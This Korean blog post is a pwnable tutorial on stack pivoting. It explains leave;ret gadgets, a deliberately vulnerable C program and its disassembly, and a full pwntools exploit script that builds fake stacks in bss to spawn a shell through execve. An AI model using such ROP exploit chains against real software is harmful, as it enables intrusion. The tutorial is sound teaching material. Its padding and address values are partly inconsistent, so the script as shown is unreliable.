Stack Pivoting
1. Stack Pivoting
1. Stack Pivoting ?
Stack pivoting 은 스택이 아니었던 공간을 스택처럼 사용하는 기법이다
→ 익스플로잇을 하기 위한 공간이 부족할 때 새로운 스택 영역을 확보할 수 있다
- 여러 가젯들을 이용해 쓰기 가능한 공간에 Fake Stack 을 구성하고 Chaining 한다
- 특정 영역에 값을 쓸 수 있거나 값이 있는 경우 SFP 를 조작하여 스택을 옮기고 해당 부분의 코드를 실행한다
2. 전제 조건
- 페이로드를 쓸 수 있는 영역이 존재하고, RET 까지만 overflow 가 발생할 때
- 페이로드를 쓸 수 있는 영역이 없고, 입력함수 + leave_ret 을 넣을 수 있을만큼 overflow 가 발생할 때
위의 두 경우 모두 가젯이 존재해야 한다
3. stack pivoting 이 필요한 경우
- overflow 의 크기가 너무 작아서 ROP 체인을 다 담을 수 없는 경우
- main 함수로 다시 돌아갈 수 없는 경우
2. leave ret
1. leave
함수의 마지막에는 leave 와 ret 명령이 있다
mov esp, ebp
pop ebp
leave 는 위와 같은 명령을 수행한다
leave 에서는 스택 포인터를 함수를 호출하기 이전의 주소로 되돌리는 작업을 한다
2. ret
pop eip
jmp eip
ret 는 위와 같은 명령을 수행한다
3. Stack pivoting 에 사용되는 가젯
add esp, offset ; ret | mov esp, register ; ret |
sub esp, offset; ret call register push register; pop esp; ret xchg register, esp ; ret |
leave; ret mov register, [ebp+0c]; call register mov reg, dword ptr fs:[0]; ....; ret |
stack pivoting 에 사용되는 가젯들이다
이 중에서도 보통 leave; ret; 가젯을 많이 사용한다
leave ; ret; 가젯을 사용해서 stack pivoting 을 할 때 스택을 살펴보자
3. Exploit 과정
1. 스택 상태
- SFP 에 fake stack
- RET 에 read@plt
- 그 다음 leave; ret 가젯
위의 내용으로 스택을 구성한다
그 다음 에필로그에서 leave 명령이 수행된다
move esp, ebp
mov esp, ebp 명령을 수행한 스택 상태이다
다음으로 pop ebp 명령을 수행한다
pop ebp 명령이 수행되면 ebp 는 SFP 에 들어있던 fake stack 의 주소값로 이동한다
그 다음 ret 명령이 수행되면 read 함수가 실행되어 fake stack 에 입력을 받게된다
leave ; ret 가젯에서
leave 명령이 수행된 스택 상태이다
mov esp, ebp 명령으로 인해 esp 가 fakestack 으로 이동하게 된다
pop ebp 명령을 수행하면 fakestack 에 넣어둔 fakestack2 로 이동하게 된다
그 다음 read 함수가 실행되면 fakestack2 에 입력받는다
fakestack 의 leave 명령어가 수행되면
esp 가 fakestack2 의 바닥으로 이동하게 된다
그 뒤 명령을 수행하면서 system("/bin/sh") 명령이 실행되고
셸을 얻을 수 있다
4. 예제 코드
1. 공격 순서
- Fake stack 으로 사용할 공간을 찾는다 (주로 bss 영역임)
- SFP 부분에 실행을 원하는 주소 - 8 의 주소를 넣는다
- read() 함수를 RTL 로 호출하여 bss 영역에 입력값을 받도록 한다
- 다음 실행할 명령의 주소에 leave_ret 가젯을 넣는다
2. C
// Name : pivot.c
// Compile : gcc -o pivot pivot.c -fno-stack-protector -z now -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int loop = 0;
void tools(){
asm (
"pop %r14;"
"pop %r15;"
"ret;"
"pop %rdx;"
"ret;"
);
}
int main(void)
{
char buf[0x30];
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
if (loop)
{
puts("bye");
exit(-1);
}
loop = 1;
read(0, buf, 0x70);
return 0;
}
main 함수를 실행하면 loop 가 1로 바뀌게 되어 main 함수로 돌아올 수 없다
이 때 stack pivoting 을 이용하면 익스플로잇을 할 수 있다
[*] '/home/gunp4ng/project/SF/pivot/pivot'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
보호기법을 확인하면 Nx-bit, Full RELRO 가 적용된 것을 볼 수 있다
3. 어셈블리
Dump of assembler code for function main:
0x0000000000401196 <+0>: endbr64
0x000000000040119a <+4>: push rbp
0x000000000040119b <+5>: mov rbp,rsp
0x000000000040119e <+8>: sub rsp,0x30
0x00000000004011a2 <+12>: mov rax,QWORD PTR [rip+0x2e87] # 0x404030 <stdin@GLIBC_2.2.5>
0x00000000004011a9 <+19>: mov ecx,0x0
0x00000000004011ae <+24>: mov edx,0x2
0x00000000004011b3 <+29>: mov esi,0x0
0x00000000004011b8 <+34>: mov rdi,rax
0x00000000004011bb <+37>: call 0x401090 <setvbuf@plt>
0x00000000004011c0 <+42>: mov rax,QWORD PTR [rip+0x2e59] # 0x404020 <stdout@GLIBC_2.2.5>
0x00000000004011c7 <+49>: mov ecx,0x0
0x00000000004011cc <+54>: mov edx,0x2
0x00000000004011d1 <+59>: mov esi,0x0
0x00000000004011d6 <+64>: mov rdi,rax
0x00000000004011d9 <+67>: call 0x401090 <setvbuf@plt>
0x00000000004011de <+72>: mov rax,QWORD PTR [rip+0x2e5b] # 0x404040 <stderr@GLIBC_2.2.5>
0x00000000004011e5 <+79>: mov ecx,0x0
0x00000000004011ea <+84>: mov edx,0x2
0x00000000004011ef <+89>: mov esi,0x0
0x00000000004011f4 <+94>: mov rdi,rax
0x00000000004011f7 <+97>: call 0x401090 <setvbuf@plt>
0x00000000004011fc <+102>: mov eax,DWORD PTR [rip+0x2e4a] # 0x40404c <loop>
0x0000000000401202 <+108>: test eax,eax
0x0000000000401204 <+110>: je 0x40121f <main+137>
0x0000000000401206 <+112>: lea rax,[rip+0xdf7] # 0x402004
0x000000000040120d <+119>: mov rdi,rax
0x0000000000401210 <+122>: call 0x401070 <puts@plt>
0x0000000000401215 <+127>: mov edi,0xffffffff
0x000000000040121a <+132>: call 0x4010a0 <exit@plt>
0x000000000040121f <+137>: mov DWORD PTR [rip+0x2e23],0x1 # 0x40404c <loop>
0x0000000000401229 <+147>: lea rax,[rbp-0x30]
0x000000000040122d <+151>: mov edx,0x70
0x0000000000401232 <+156>: mov rsi,rax
0x0000000000401235 <+159>: mov edi,0x0
0x000000000040123a <+164>: call 0x401080 <read@plt>
0x000000000040123f <+169>: mov eax,0x0
0x0000000000401244 <+174>: leave
0x0000000000401245 <+175>: ret
End of assembler dump.
- buf : rbp-0x30
buf 는 0x30 인 것을 알 수 있다
buf 48 만큼 입력하면 SFP + RET 를 덮어씌울 수 있다
4. 필요한 정보 구하기
- leave ; ret 가젯
- pop rdi pop rsi pop rdx 가젯
- ret 가젯
- pop rdx 가젯
- /bin/sh 주소
- execve 함수 주소
- 먼저 leave; ret 가젯이다
leave; ret 가젯의 주소는 0x401256 이다
- pop rdi pop rsi pop rdx 가젯을 구하자
pop rdi 가젯이다
pop rdi 가젯의 주소는 0x4011a1 이다
pop rsi pop rdx 가젯을 구하자
pop rsi pop rdx 가젯은 없고 pop rsi pop r15 가젯이 존재한다
대체 가능하기 때문에 pop rsi pop r15 가젯을 사용한다
pop rsi pop r15 가젯의 주소는 0x40119f 이다
- ret 가젯을 구하자
ret 가젯의 주소는 0x40101a 이다
- pop rdx 가젯을 구하자
pop rdx 가젯은 0x4011a3 이다
- 다음은 "/bin/sh" 문자열을 구하자
"/bin/sh" 문자열의 주소는 0x7ffff7f62678 이다
- execve 함수의 주소를 구하자
execve 함수의 주소는 0x7ffff7ddad70 이다
5. 페이로드 구성
payload = b'A' * 56
payload += p64(bss + 0x300)
payload += p64(poprdi)
payload += p64(0)
payload += p64(poprsi)
payload += p64(bss + 0x300)
payload += p64(0)
payload += p64(read_plt)
payload += p64(leave)
- SFP 에 bss + 0x300 의 값을 넣는다
- read 함수로 bss + 0x300 의 영역에 값을 받는다
- leave ret 을 실행한다
왜 bss 영역에 바로 값을 쓰지 않고 bss + 0x300 영역부터 쓸까?
→ bss 영역은 전역 변수 공간이기 때문에 프로그램이 실행되는 동안 사용되는 영역이다
따라서 프로그램의 다른 전역 변수와 충돌할 수 있기 때문에 bss + 0x300 fake stack 을 구성한다
# fake stack
# read(0, bss+0x400, 0)
payload = p64(bss + 0x400)
payload += p64(poprdi)
payload += p64(0)
payload += p64(poprsi_r15)
payload += p64(bss + 0x400)
payload += p64(0)
payload += p64(read_plt)
payload += p64(leave)
- bss + 0x400 의 주소를 rbp 에 넣는다
- read(0, bss + 0x400, 0) rdx = 0x70
- leave ret 가젯
이전 페이로드에서 read 함수 이후 leave ret 가젯이 오게 된다
지금 보내는 페이로드의 첫 번째 값이 rbp 값으로 바뀌게 된다
payload = p64(0)
payload += p64(poprdi)
payload += p64(binsh)
payload += p64(poprsi_r15)
payload += p64(0)
payload += p64(0)
payload += p64(poprdx)
payload += p64(0)
payload += p64(ret)
payload += p64(execve)
leave ret 가젯에서 pop 을 하기 때문에 8byte 아래에 페이로드를 작성해야 한다
8byte 의 패딩을 넣고
rdx 가 0x70 이기 때문에 pop rdx 가젯을 이용해 NULL 로 만들어준다
그 다음 execve("/bin/sh", NULL, NULL) 을 호출한다
전체 페이로드이다
from pwn import *
context.log_level = 'debug'
p = process('./pivot')
e = ELF('./pivot')
libc = e.libc
leave = 0x401256
poprdi = 0x4011a1
poprsi_r15 = 0x40119f
poprdx = 0x4011a3
ret = 0x40101a
binsh = 0x7ffff7f62678
execve = 0x7ffff7e75080
bss = e.bss()
read_plt = e.plt['read']
payload = b'A' * 0x30
payload += p64(bss + 0x300) # SFP
payload += p64(poprdi) # RET
payload += p64(0)
payload += p64(poprsi_r15)
payload += p64(bss + 0x300)
payload += p64(0)
payload += p64(read_plt)
payload += p64(leave)
p.send(payload)
# fake stack
# read(0, bss+0x400, 0)
payload = p64(bss + 0x400)
payload += p64(poprdi)
payload += p64(0)
payload += p64(poprsi_r15)
payload += p64(bss + 0x400)
payload += p64(0)
payload += p64(read_plt)
payload += p64(leave)
p.send(payload)
payload = p64(0)
payload += p64(poprdi)
payload += p64(binsh)
payload += p64(poprsi_r15)
payload += p64(0)
payload += p64(0)
payload += p64(poprdx)
payload += p64(0)
payload += p64(ret)
payload += p64(execve)
p.send(payload)
p.interactive()
셸을 얻은 것을 확인할 수 있다
'Hacking > Pwnable' 카테고리의 다른 글
Heap - ptmalloc2 (glibc) (0) | 2025.04.03 |
---|---|
SROP (x64) (0) | 2025.03.26 |
SROP (x86) (0) | 2025.03.25 |
OOB(Out of Bound) (0) | 2025.03.18 |
Off by one (0) | 2025.03.17 |